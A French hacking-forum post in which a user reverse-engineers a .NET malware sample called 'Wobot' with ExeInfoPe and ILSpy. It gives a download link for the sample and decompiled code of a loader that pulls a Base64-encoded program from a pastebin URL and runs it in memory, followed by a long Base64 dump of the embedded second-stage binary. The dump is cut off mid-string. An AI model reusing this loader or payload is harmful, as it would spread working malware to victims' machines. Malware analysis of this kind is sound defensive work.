• STATISTIQUES
  • Il y a eu un total de 2 membres et 5788 visiteurs sur le site dans les dernières 24h pour un total de 5 790 personnes!


    1 membre s'est inscrit dans les dernières 24h!


    Membres: 2 608
    Discussions: 3 580
    Messages: 32 820
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] Gekko
    Site de challenge présenter sous la forme d'une quête. Vous êtes un agent secret qui répond sous le nom...
    Challenges
    [EN] This is legal
    Basic: 10, Realistic: 5, Programming: 1, Bonus: 11, SQL: 2, Encryption: 6, Application: 4, User Contributed: 3
    Challenges
    [FR] InfoMirmo
    Apprentissage de l'informatique par l'intermédiaire de challenges de sécurité. Venez app...
    Hacking
    [FR] frameip
    le site de partage des connaissances du monde TCPIP
    Protocole
    [EN] CS Tutoring Center
    Site de challenge spécialisé dans les challenges de programmation C++ et java cependant, d'autres langages pe...
    Challenges
    [EN] Security Traps
    Site de challenge qui prétend être construit non pas dans le but de parfaire vos connaissances, mais plutôt dan...
    Challenges
    [FR] Kalkulators
    Ce projet a plusieurs buts, le premier étant l’étude de toutes formes cryptographiques, le cot&ea...
    Cryptographie

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[.NET] Wobot Reverse
28-08-2014, 04h59
Message : #1
Yttrium Hors ligne
Membre actif
*



Messages : 106
Sujets : 14
Points: 48
Inscription : Jul 2012
[.NET] Wobot Reverse
Bonsoir a tous, ce soir, je viens partager avec vous mon occupation de cette soirée Smile
J'était tranquillement sur youtube en train de chercher des fakes, stealer, ou tout autre malware susceptible de m'occuper, quand j'ai trouvé ceci : "Wobot"
Le lien est ici > hxxp://www.mediafire.com/download/u68wgpcpzzu9ypa/Wobot.rar

Le post peut évoluer avec le temps, je n'ai pas encore totalement finit Wink

Pour ceux que ça intéresse, voici la liste des outils utilisé :
- ExeInfoPe > http://www.asl-soft.besaba.com/exeinfo/index.htm
- IlSpy > http://ilspy.net/
- Visual Studio 2012 > http://www.microsoft.com/france/visual-s...press.aspx

J'ai donc commencé mon analyse par un machinale ExeInfoPe qui m'informe que c'est un "Microsoft Visual C# / Basic.NET "

.png   wobot_1.png (Taille : 64.26 Ko / Téléchargements : 18)

Pas de problème, lançons IlSpy et regardons cela de plus près :
Code :
private static WebClient הנמהלבתיגואצהמתובעבי = new WebClient();
        private static string עחאהאיתדוםקןדצוהצעהי = איעתרהתנדלאוותת.הנמהלבתיגואצהמתובעבי.DownloadString("http://pastebin.com/raw.php?i=xJsHeTjk");
        private static byte[] סיסענתילחעלקחבתעתסרת = Convert.FromBase64String(איעתרהתנדלאוותת.עחאהאיתדוםקןדצוהצעהי);
        [STAThread]
        public static void Main(string[] מקישהנאיתרתםדהקאהמםת)
        {
            Thread.Sleep(20000);
            object[] parameters = new object[0];
            Assembly assembly = AppDomain.CurrentDomain.Load(איעתרהתנדלאוותת.סיסענתילחעלקחבתעתסרת);
            bool flag = assembly.EntryPoint.GetParameters().Length > 0;
            if (flag)
            {
                parameters = new object[]
                {
                    מקישהנאיתרתםדהקאהמםת
                };
            }
            assembly.EntryPoint.Invoke(null, parameters);
        }
Malgré les noms modifié, on comprend facilement que le programme ne fait que télécharger un autre PE .NET sur pastbin qui à préalablement été passé en BASE64

Bon, pas de problème, on télécharge le fichier et on le de déchiffre, et on retourne dans IlSpy, même chose cette fois si, mais avec un fichier stocké dans un string, et passé dans une fonction nommé RSADecrypte
Code :
private static void Main()
        {
            string s = "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3gAfJigkAAAKcuEBAHBvJQAACiwTB3LpAQBwfgkAAAQoFwAACgveLgdy8wEAcH4JAAAEKBcAAAoL3hslKA8AAAoTCgd+CQAABCgMAAAKCygQAAAK3gAoEQAABiwTB3L9AQBwfgkAAAQoFwAACgsrEQdyBQIAcH4JAAAEKBcAAAoLB34CAAAEfgkAAAQoFwAACgsHcgsCAHB+CQAABCgXAAAKCwcoEgAABn4JAAAEKBcAAAoLcj8BAHAMfhAAAARvCgAACm8LAAAKckEBAHB+BgAABCgMAAAKFm8mAAAKbycAAAoTEhYTESsmERIREZoTCxELbygAAAofIDMOCBELchECAHAoFwAACgwRERfWExERERESjrcy0t4PJSgPAAAKEwwoEAAACt4ABwgoDAAACioAAAABZAAAAAAQAI+fACgNAAABAADHABPaACANAAABAAD6ABMNASANAAABAAAtAS9cASANAAABAACNAXL/ARsNAAABAAAmAj1jAhsNAAABAAB+Ajm3AhsNAAABAAA2A2CWAw8NAAABEzABAAwAAAAFAAARAigOAAAGKCkAAAoqEzABABAAAAAGAAARAlAoKgAACgsSASgPAAAGKhMwAgANAAAABwAAESgrAAAKAlBvLAAACioAAAATMAIADQAAAAUAABEoKwAACgJQby0AAAoqAAAAEzAEAGUAAAAIAAARAnMuAAAKDQkWcy8AAAoMGo0MAAABCwkJbzAAAAobatpvMQAACgkHFhpvMgAACiYHFigzAAAKEwQJFmpvMQAAChEEF9oX1o0MAAABCggGFhEEbzQAAAomCG81AAAKCW81AAAKBioAAAAbMAUAPgAAAAkAABEWCwe1H2QoNgAACg0SAx9kFBMEEgQfZCgDAAAGLAQXCt4aBxfWCwcaMdjeDiUoDwAACgwoEAAACt4AFioGKgAAARAAAAAAAAAsLAAODQAAARswAwBdAAAACgAAESgFAAAGCwd+NwAACig4AAAKLAhyPwEAcAreQAcoOQAACigHAAAGF9YoNgAACgwHEgIIbygAAAooBgAABiYSAigMAAAGCt4UJSgPAAAKDXI/AQBwCigQAAAK3gAGKgAAAAEQAAAAAAAAR0cAFA0AAAEbMAgAVAAAAAsAABFyFQIAcCg6AAAKci0CAHAoDAAACg0SAxQTBBIEFhIBFhMFEgUWEwYS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EQoUcmkEAHAWjQMAAAEUFBQoaQAACheMOAAAARYoagAACihrAAAKKGwAAAosvxEKFHJxBABwF40DAAABEygRKBYXjDgAAAGiESgUFChnAAAK3X0HAAARJXJ5BABwFihFAAAKFkCCAQAABheaFo0MAAABKAkAAAZ0AQAAGxMNBhiabygAAAofCv4EEQ2Otxb+AV8sRhuNEQAAARMnEScWckMEAHCiEScXfgkAAASiEScYBheaohEnGX4JAAAEohEnGhcoZgAACqIRJyhaAAAKKB0AAAYm3fkGAAAGGJpvKAAACh8KMU1zCQAAChMQBhaafgkAAAQGF5p+CQAABChNAAAKbygAAAoTDxEQAhEPAo63EQ/ab18AAAoREG9gAAAKKBAAAAYTDQYXmhENGSgKAAAGJhuNEQAAARMnEScWckMEAHCiEScXfgkAAASiEScYBheaohEnGX4JAAAEohEnGhYoZgAACqIRJyhaAAAKKB0AAAYmEQ1ySQQAcCgUAAAGKBIAAAoTDhuNEQAAARMnEScWcnkEAHCiEScXfgkAAASiEScYBheaohEnGX4JAAAEohEnGhEOFHKBBABwFo0DAAABFBQUKGkAAAooGAAAChMpEikoDAAABqIRJyhaAAAKKB0AAAYm3egFAAARJXKHBABwFihFAAAKFkCXAQAAKG0AAApvbgAAChMvEi8obwAACihtAAAKb24AAAoTMBIwKHAAAAogBRACAHNxAAAKExURFShyAAAKExERERYWFhYSMREVb3MAAAoRFW90AAAKKHUAAAoRMSAgAMwAb3YAAAoodwAAChEREjAoeAAAChIxHyAfICh1AAAKETEoeQAAChEwb3oAAAreDyUoDwAAChMXKBAAAAreABERb3sAAAoGF5oofAAACgYYmih8AAAKc30AAAoTFhEWKHIAAAoTERERERUWFhEWb3MAAAoRFm90AAAKb34AAAoREW97AAAKcwkAAAoTE3KHBABwfgkAAAQoDAAAChMpEikoDgAABhAAERMCFgKOt29fAAAKcwkAAAoTFBEWERQofwAACm+AAAAKERRvYAAACigaAAAGExIREn4XAAAEFihFAAAKFi4gERKAFwAABBETERRvYAAAChYRFG8wAAAKt29fAAAKKwgRExZvgQAAChETb2AAAAooHAAABiYRE281AAAKERRvNQAAChEV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